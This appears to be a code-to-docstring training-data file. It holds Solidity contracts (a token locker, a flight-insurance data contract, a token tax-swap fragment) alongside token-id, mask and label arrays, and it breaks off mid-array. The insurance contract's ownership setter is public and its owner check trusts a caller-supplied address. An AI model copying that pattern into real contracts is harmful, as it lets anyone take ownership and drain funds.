LockedBalance[] memory lockData
) {
LockedBalance[] storage locks = userLocks[_user];
Balances storage userBalance = balances[_user];
uint256 nextUnlockIndex = userBalance.nextUnlockIndex;
uint256 idx;
for (uint i = nextUnlockIndex; i < locks.length; i++) {
if (locks[i].unlockTime > block.timestamp) {
if (idx == 0) {
lockData = new LockedBalance[](locks.length - i);
}
lockData[idx] = locks[i];
idx++;
locked = locked.add(locks[i].amount);
} else {
unlockable = unlockable.add(locks[i].amount);
}
}
return (userBalance.locked, unlockable, locked, lockData);
}
//number of epochs
function epochCount() external view returns(uint256) {
return epochs.length;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function checkpointEpoch() external {
_checkpointEpoch();
}
//insert a new epoch if needed. fill in any gaps
function _checkpointEpoch() internal {
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
uint256 epochindex = epochs.length;
//first epoch add in constructor, no need to check 0 length
//check to add
if (epochs[epochindex - 1].date < currentEpoch) {
//fill any epoch gaps
while(epochs[epochs.length-1].date != currentEpoch){
uint256 nextEpochDate = uint256(epochs[epochs.length-1].date).add(rewardsDuration);
epochs.push(Epoch({
supply: 0,
date: uint32(nextEpochDate)
}));
}
//update boost parameters on a new epoch
if(boostRate != nextBoostRate){
boostRate = nextBoostRate;
}
if(maximumBoostPayment != nextMaximumBoostPayment){
maximumBoostPayment = nextMaximumBoostPayment;
}
}
}
// Locked tokens cannot be withdrawn for lockDuration and are eligible to receive stakingReward rewards
function lock(address _account, uint256 _amount, uint256 _spendRatio) external nonReentrant updateReward(_account) {
//pull tokens
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
//lock
_lock(_account, _amount, _spendRatio);
}
//lock tokens
function _lock(address _account, uint256 _amount, uint256 _spendRatio) internal {
require(_amount > 0, "Cannot stake 0");
require(_spendRatio <= maximumBoostPayment, "over max spend");
require(!isShutdown, "shutdown");
Balances storage bal = balances[_account];
//must try check pointing epoch first
_checkpointEpoch();
//calc lock and boosted amount
uint256 spendAmount = _amount.mul(_spendRatio).div(denominator);
uint256 boostRatio = boostRate.mul(_spendRatio).div(maximumBoostPayment==0?1:maximumBoostPayment);
uint112 lockAmount = _amount.sub(spendAmount).to112();
uint112 boostedAmount = _amount.add(_amount.mul(boostRatio).div(denominator)).to112();
//add user balances
bal.locked = bal.locked.add(lockAmount);
bal.boosted = bal.boosted.add(boostedAmount);
//add to total supplies
lockedSupply = lockedSupply.add(lockAmount);
boostedSupply = boostedSupply.add(boostedAmount);
//add user lock records or add to current
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(rewardsDuration);
uint256 unlockTime = currentEpoch.add(lockDuration);
uint256 idx = userLocks[_account].length;
if (idx == 0 || userLocks[_account][idx - 1].unlockTime < unlockTime) {
userLocks[_account].push(LockedBalance({
amount: lockAmount,
boosted: boostedAmount,
unlockTime: uint32(unlockTime)
}));
} else {
LockedBalance storage userL = userLocks[_account][idx - 1];
userL.amount = userL.amount.add(lockAmount);
userL.boosted = userL.boosted.add(boostedAmount);
}
//update epoch supply, epoch checkpointed above so safe to add to latest
Epoch storage e = epochs[epochs.length - 1];
e.supply = e.supply.add(uint224(boostedAmount));
//send boost payment
if (spendAmount > 0) {
stakingToken.safeTransfer(boostPayment, spendAmount);
}
//update staking, allow a bit of leeway for smaller deposits to reduce gas
updateStakeRatio(stakeOffsetOnLock);
emit Staked(_account, _amount, lockAmount, boostedAmount);
}
// Withdraw all currently locked tokens where the unlock time has passed
function _processExpiredLocks(address _account, bool _relock, uint256 _spendRatio, address _withdrawTo, address _rewardAddress, uint256 _checkDelay) internal updateReward(_account) {
LockedBalance[] storage locks = userLocks[_account];
Balances storage userBalance = balances[_account];
uint112 locked;
uint112 boostedAmount;
uint256 length = locks.length;
uint256 reward = 0;
if (isShutdown || locks[length - 1].unlockTime <= block.timestamp.sub(_checkDelay)) {
//if time is beyond last lock, can just bundle everything together
locked = userBalance.locked;
boostedAmount = userBalance.boosted;
//dont delete, just set next index
userBalance.nextUnlockIndex = length.to32();
//check for kick reward
//this wont have the exact reward rate that you would get if looped through
//but this section is supposed to be for quick and easy low gas processing of all locks
//we'll assume that if the reward was good enough someone would have processed at an earlier epoch
if (_checkDelay > 0) {
uint256 currentEpoch = block.timestamp.sub(_checkDelay).div(rewardsDuration).mul(rewardsDuration);
uint256 epochsover = currentEpoch.sub(uint256(locks[length - 1].unlockTime)).div(rewardsDuration);
uint256 rRate = MathUtil.min(kickRewardPerEpoch.mul(epochsover+1), denominator);
reward = uint256(locks[length - 1].amount).mul(rRate).div(denominator);
}
} else {
//use a processed index(nextUnlockIndex) to not loop as much
//deleting does not change array length
uint32 nextUnlockIndex = userBalance.nextUnlockIndex;
for (uint i = nextUnlockIndex; i < length; i++) {
//unlock time must be less or equal to time
if (locks[i].unlockTime > block.timestamp.sub(_checkDelay)) break;
//add to cumulative amounts
locked = locked.add(locks[i].amount);
boostedAmount = boostedAmount.add(locks[i].boosted);
//check for kick reward
//each epoch over due increases reward
if (_checkDelay > 0) {
uint256 currentEpoch = block.timestamp.sub(_checkDelay).div(rewardsDuration).mul(rewardsDuration);
uint256 epochsover = currentEpoch.sub(uint256(locks[i].unlockTime)).div(rewardsDuration);
uint256 rRate = MathUtil.min(kickRewardPerEpoch.mul(epochsover+1), denominator);
reward = reward.add( uint256(locks[i].amount).mul(rRate).div(denominator));
}
//set next unlock index
nextUnlockIndex++;
}
//update next unlock index
userBalance.nextUnlockIndex = nextUnlockIndex;
}
require(locked > 0, "no exp locks");
//update user balances and total supplies
userBalance.locked = userBalance.locked.sub(locked);
userBalance.boosted = userBalance.boosted.sub(boostedAmount);
lockedSupply = lockedSupply.sub(locked);
boostedSupply = boostedSupply.sub(boostedAmount);
emit Withdrawn(_account, locked, _relock);
//send process incentive
if (reward > 0) {
//if theres a reward(kicked), it will always be a withdraw only
//preallocate enough cvx from stake contract to pay for both reward and withdraw
allocateCVXForTransfer(uint256(locked));
//reduce return amount by the kick reward
locked = locked.sub(reward.to112());
//transfer reward
transferCVX(_rewardAddress, reward, false);
emit KickReward(_rewardAddress, _account, reward);
}else if(_spendRatio > 0){
//preallocate enough cvx to transfer the boost cost
allocateCVXForTransfer( uint256(locked).mul(_spendRatio).div(denominator) );
}
//relock or return to user
if (_relock) {
_lock(_withdrawTo, locked, _spendRatio);
} else {
transferCVX(_withdrawTo, locked, true);
}
}
// Withdraw/relock all currently locked tokens where the unlock time has passed
function processExpiredLocks(bool _relock, uint256 _spendRatio, address _withdrawTo) external nonReentrant {
_processExpiredLocks(msg.sender, _relock, _spendRatio, _withdrawTo, msg.sender, 0);
}
// Withdraw/relock all currently locked tokens where the unlock time has passed
function processExpiredLocks(bool _relock) external nonReentrant {
_processExpiredLocks(msg.sender, _relock, 0, msg.sender, msg.sender, 0);
}
function kickExpiredLocks(address _account) external nonReentrant {
//allow kick after grace period of 'kickRewardEpochDelay'
_processExpiredLocks(_account, false, 0, _account, msg.sender, rewardsDuration.mul(kickRewardEpochDelay));
}
//pull required amount of cvx from staking for an upcoming transfer
function allocateCVXForTransfer(uint256 _amount) internal{
uint256 balance = stakingToken.balanceOf(address(this));
if (_amount > balance) {
IStakingProxy(stakingProxy).withdraw(_amount.sub(balance));
}
}
//transfer helper: pull enough from staking, transfer, updating staking ratio
function transferCVX(address _account, uint256 _amount, bool _updateStake) internal {
//allocate enough cvx from staking for the transfer
allocateCVXForTransfer(_amount);
//transfer
stakingToken.safeTransfer(_account, _amount);
//update staking
if(_updateStake){
updateStakeRatio(0);
}
}
//calculate how much cvx should be staked. update if needed
function updateStakeRatio(uint256 _offset) internal {
if (isShutdown) return;
//get balances
uint256 local = stakingToken.balanceOf(address(this));
uint256 staked = IStakingProxy(stakingProxy).getBalance();
uint256 total = local.add(staked);
if(total == 0) return;
//current staked ratio
uint256 ratio = staked.mul(denominator).div(total);
//mean will be where we reset to if unbalanced
uint256 mean = maximumStake.add(minimumStake).div(2);
uint256 max = maximumStake.add(_offset);
uint256 min = Math.min(minimumStake, minimumStake - _offset);
if (ratio > max) {
//remove
uint256 remove = staked.sub(total.mul(mean).div(denominator));
IStakingProxy(stakingProxy).withdraw(remove);
} else if (ratio < min) {
//add
uint256 increase = total.mul(mean).div(denominator).sub(staked);
stakingToken.safeTransfer(stakingProxy, increase);
IStakingProxy(stakingProxy).stake();
}
}
// Claim all pending rewards
function getReward(address _account, bool _stake) public nonReentrant updateReward(_account) {
for (uint i; i < rewardTokens.length; i++) {
address _rewardsToken = rewardTokens[i];
uint256 reward = rewards[_account][_rewardsToken];
if (reward > 0) {
rewards[_account][_rewardsToken] = 0;
if (_rewardsToken == cvxCrv && _stake) {
IRewardStaking(cvxcrvStaking).stakeFor(_account, reward);
} else {
IERC20(_rewardsToken).safeTransfer(_account, reward);
}
emit RewardPaid(_account, _rewardsToken, reward);
}
}
}
// claim all pending rewards
function getReward(address _account) external{
getReward(_account,false);
}
/* ========== RESTRICTED FUNCTIONS ========== */
function _notifyReward(address _rewardsToken, uint256 _reward) internal {
Reward storage rdata = rewardData[_rewardsToken];
if (block.timestamp >= rdata.periodFinish) {
rdata.rewardRate = _reward.div(rewardsDuration).to208();
} else {
uint256 remaining = uint256(rdata.periodFinish).sub(block.timestamp);
uint256 leftover = remaining.mul(rdata.rewardRate);
rdata.rewardRate = _reward.add(leftover).div(rewardsDuration).to208();
}
rdata.lastUpdateTime = block.timestamp.to40();
rdata.periodFinish = block.timestamp.add(rewardsDuration).to40();
}
function notifyRewardAmount(address _rewardsToken, uint256 _reward) external updateReward(address(0)) {
require(rewardDistributors[_rewardsToken][msg.sender]);
require(_reward > 0, "No reward");
_notifyReward(_rewardsToken, _reward);
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the _reward amount
IERC20(_rewardsToken).safeTransferFrom(msg.sender, address(this), _reward);
emit RewardAdded(_rewardsToken, _reward);
if(_rewardsToken == cvxCrv){
//update staking ratio if main reward
updateStakeRatio(0);
}
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
require(_tokenAddress != address(stakingToken), "Cannot withdraw staking token");
require(rewardData[_tokenAddress].lastUpdateTime == 0, "Cannot withdraw reward token");
IERC20(_tokenAddress).safeTransfer(owner(), _tokenAmount);
emit Recovered(_tokenAddress, _tokenAmount);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address _account) {
{//stack too deep
Balances storage userBalance = balances[_account];
uint256 boostedBal = userBalance.boosted;
for (uint i = 0; i < rewardTokens.length; i++) {
address token = rewardTokens[i];
rewardData[token].rewardPerTokenStored = _rewardPerToken(token).to208();
rewardData[token].lastUpdateTime = _lastTimeRewardApplicable(rewardData[token].periodFinish).to40();
if (_account != address(0)) {
//check if reward is boostable or not. use boosted or locked balance accordingly
rewards[_account][token] = _earned(_account, token, rewardData[token].useBoost ? boostedBal : userBalance.locked );
userRewardPerTokenPaid[_account][token] = rewardData[token].rewardPerTokenStored;
}
}
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(address indexed _token, uint256 _reward);
event Staked(address indexed _user, uint256 _paidAmount, uint256 _lockedAmount, uint256 _boostedAmount);
event Withdrawn(address indexed _user, uint256 _amount, bool _relocked);
event KickReward(address indexed _user, address indexed _kicked, uint256 _reward);
event RewardPaid(address indexed _user, address indexed _rewardsToken, uint256 _reward);
event Recovered(address _token, uint256 _amount);
} | set staking limits. will stake the mean of the two once either ratio is crossed | function setStakeLimits(uint256 _minimum, uint256 _maximum) external onlyOwner {
require(_minimum <= denominator, "min range");
require(_maximum <= denominator, "max range");
minimumStake = _minimum;
maximumStake = _maximum;
updateStakeRatio(0);
}
| 2,113,051 | [
1,
542,
384,
6159,
8181,
18,
903,
384,
911,
326,
3722,
434,
326,
2795,
3647,
3344,
7169,
353,
30783,
730,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
510,
911,
12768,
12,
11890,
5034,
389,
15903,
16,
2254,
5034,
389,
15724,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
24899,
15903,
1648,
15030,
16,
315,
1154,
1048,
8863,
203,
3639,
2583,
24899,
15724,
1648,
15030,
16,
315,
1896,
1048,
8863,
203,
3639,
5224,
510,
911,
273,
389,
15903,
31,
203,
3639,
4207,
510,
911,
273,
389,
15724,
31,
203,
3639,
1089,
510,
911,
8541,
12,
20,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.24;
// import "../node_modules/openzeppelin-solidity/contracts/utils/math/SafeMath.sol";
contract FlightSuretyData {
// using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational; // Blocks all state changes throughout the contract if false
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
// address[] airlines;
uint numAirlines = 0;
struct Airline {
address airlineAddress;
uint funding; // in wei, min 10eth
}
mapping(address => Airline) private airlines;
struct Flight {
address airline;
string flightId;
uint256 timestamp;
uint passengersSize;
}
mapping(string => Flight) private flights;
mapping(bytes32 => address[]) private flightPassengers;
struct Passenger {
address passengerAddress;
string flightId;
uint256 insuranceValue;
uint256 payoutCredit;
}
mapping(address => Passenger) private passengers;
struct PassengerTest {
string flightId;
uint256 insuranceValue;
uint256 payoutCredit;
}
mapping(string => PassengerTest) private passengersTest;
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor(address firstAirlineAddress, address owner)
{
// contractOwner = msg.sender;
contractOwner = owner;
operational = false;
airlines[firstAirlineAddress] = Airline(firstAirlineAddress, 0);
numAirlines++;
}
function setContractOwner(address owner) public
{
contractOwner = owner;
}
function getContractOwner() public view returns(address)
{
return contractOwner;
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner(address sender)
{
// require(msg.sender == contractOwner, "msg.sender != contractOwner");
require(sender == contractOwner, "msg.sender != contractOwner");
_;
}
modifier requireAirlineRegistered(address airlineAddress)
{
Airline storage airline = airlines[airlineAddress];
require(airline.airlineAddress != address(0), "Airline not registered");
_; // All modifiers require an "_" which indicates where the function body will be added
}
modifier requireAirlinesRegistered(address[] calldata airlineAddresses)
{
for (uint i=0; i < airlineAddresses.length; i++) {
Airline storage airline = airlines[airlineAddresses[i]];
require(airline.airlineAddress != address(0), "Airline not registered");
}
_; // All modifiers require an "_" which indicates where the function body will be added
}
modifier requireMinimumConsensus(address[] calldata airlineAddresses)
{
if (numAirlines < 4) {
require(airlineAddresses.length > 0, "Minimum consesus not met");
} else {
require(airlineAddresses.length >= numAirlines/2, "Minimum consesus not met");
}
_; // All modifiers require an "_" which indicates where the function body will be added
}
modifier requireMinimumFunding(address airlineAddress)
{
require(airlines[airlineAddress].funding >= 10 ether, "Airline not at minimum funding");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode,
address sender
)
external
requireContractOwner(sender)
{
operational = mode;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline(
address[] calldata approvingAirlines,
address newAirline
)
external
requireAirlinesRegistered(approvingAirlines)
requireMinimumConsensus(approvingAirlines)
{
airlines[newAirline] = Airline(newAirline, 0);
numAirlines++;
}
function getAirline(address airlineAddress)
external
view
requireAirlineRegistered(airlineAddress)
returns(Airline memory)
{
return airlines[airlineAddress];
}
function getValidAirline(address airlineAddress)
external
view
requireAirlineRegistered(airlineAddress)
requireMinimumFunding(airlineAddress)
returns(Airline memory)
{
return airlines[airlineAddress];
}
/**
* @dev Buy insurance for a flight
*
*/
function buy(
address passenger,
address airline,
string memory flightId,
uint256 timestamp,
uint256 insuranceValue
)
external
requireIsOperational()
returns(bytes32)
{
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
passengers[passenger].passengerAddress = passenger;
passengers[passenger].flightId = flightId;
passengers[passenger].insuranceValue = insuranceValue;
passengers[passenger].payoutCredit = 0;
flightPassengers[flightKey].push(passenger);
Flight storage flight = flights[flightId];
flight.passengersSize++;
return flightKey;
}
function getFlightPassengers(
address airline,
string memory flightId,
uint256 timestamp
)
public
view
requireIsOperational()
returns(address[] memory)
{
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
return flightPassengers[flightKey];
}
function getPassenger(
address passenger
)
public
view
requireIsOperational()
returns(Passenger memory)
{
return passengers[passenger];
}
function getInsuranceValueForPassenger(address passenger)
external
view
returns(uint256)
{
Passenger storage p = passengers[passenger];
return p.insuranceValue;
}
function getPayoutCreditForPassenger(address passenger)
external
view
returns(uint256)
{
Passenger storage p = passengers[passenger];
return p.payoutCredit;
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees(
address airline,
string memory flightId,
uint256 timestamp
)
external
{
bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
address[] memory passengersForFlight = flightPassengers[flightKey];
for (uint i=0; i < passengersForFlight.length; i++) {
Passenger storage p = passengers[passengersForFlight[i]];
p.payoutCredit = p.insuranceValue + (p.insuranceValue / 2);
}
}
function getBalanceDue(address passenger) public view returns(uint256) {
Passenger storage p = passengers[passenger];
if (p.passengerAddress == passenger && p.payoutCredit > 0) {
return p.payoutCredit;
}
return 0;
}
bool locked = false;
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay(
address payable passenger
)
public payable
{
// require(msg.sender == contractOwner);
require(!locked, "Reentrant call detected!");
locked = true;
Passenger storage p = passengers[passenger];
if (p.passengerAddress == passenger && p.payoutCredit > 0) {
uint256 payoutCredit = p.payoutCredit;
p.payoutCredit = 0;
passenger.transfer(payoutCredit);
}
locked = false;
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund(address airlineAddress, uint funding)
public
payable
requireAirlineRegistered(airlineAddress)
{
Airline storage airline = airlines[airlineAddress];
airline.funding = funding;
}
/**
* @dev Register a future flight for insuring.
*
*/
function registerFlight(
address airline,
string calldata flightId,
uint256 timestamp
)
external
requireIsOperational()
requireAirlineRegistered(airline)
requireMinimumFunding(airline)
{
// bytes32 flightKey = getFlightKey(airline, flightId, timestamp);
Flight storage flight = flights[flightId];
flight.airline = airline;
flight.flightId = flightId;
flight.timestamp = timestamp;
flight.passengersSize = 0;
}
function flightExists(string calldata flightId) public view returns(bool)
{
return flights[flightId].airline != address(0);
}
function getFlight(string calldata flightId) public view returns(Flight memory)
{
return flights[flightId];
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
}
| * @dev Add an airline to the registration queue Can only be called from FlightSuretyApp contract/ | function registerAirline(
address[] calldata approvingAirlines,
address newAirline
)
external
requireAirlinesRegistered(approvingAirlines)
requireMinimumConsensus(approvingAirlines)
{
airlines[newAirline] = Airline(newAirline, 0);
numAirlines++;
}
| 904,775 | [
1,
986,
392,
23350,
1369,
358,
326,
7914,
2389,
1377,
4480,
1338,
506,
2566,
628,
3857,
750,
55,
594,
4098,
3371,
6835,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1744,
29752,
1369,
12,
203,
3639,
1758,
8526,
745,
892,
6617,
6282,
29752,
3548,
16,
203,
3639,
1758,
394,
29752,
1369,
203,
565,
262,
7010,
3639,
3903,
7010,
3639,
2583,
29752,
3548,
10868,
12,
12908,
6282,
29752,
3548,
13,
203,
3639,
2583,
13042,
9054,
9781,
12,
12908,
6282,
29752,
3548,
13,
203,
565,
288,
203,
3639,
23350,
3548,
63,
2704,
29752,
1369,
65,
273,
432,
481,
1369,
12,
2704,
29752,
1369,
16,
374,
1769,
203,
3639,
818,
29752,
3548,
9904,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xD7b21E03e794f0796d7C3B1041dB8cB528E17fA5/sources/ApeToken.sol | swap tokens and send some to marketing, whilst keeping the eth for buyback burn | function manualTaxConv() external onlyOwner() returns (bool) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
if (rBuybackBurn != 0) {
uint256 toBeBurned = tokenFromReflection(rBuybackBurn);
rBuybackBurn = 0;
uint256 toBeSentToMarketing = contractTokenBalance.sub(toBeBurned);
swapTokensForETHTo(toBeSentToMarketing, marketingAddr);
swapTokensForETHTo(toBeBurned, payable(this));
swapTokensForETHTo(contractTokenBalance, marketingAddr);
}
}
return true;
}
| 3,098,178 | [
1,
22270,
2430,
471,
1366,
2690,
358,
13667,
310,
16,
600,
330,
334,
19966,
326,
13750,
364,
30143,
823,
18305,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11297,
7731,
17467,
1435,
3903,
1338,
5541,
1435,
1135,
261,
6430,
13,
288,
203,
3639,
2254,
5034,
6835,
1345,
13937,
273,
11013,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
16351,
1345,
13937,
405,
374,
13,
288,
203,
5411,
309,
261,
86,
38,
9835,
823,
38,
321,
480,
374,
13,
288,
203,
7734,
2254,
5034,
21333,
38,
321,
329,
273,
1147,
1265,
9801,
12,
86,
38,
9835,
823,
38,
321,
1769,
203,
7734,
436,
38,
9835,
823,
38,
321,
273,
374,
31,
203,
7734,
2254,
5034,
21333,
7828,
774,
3882,
21747,
273,
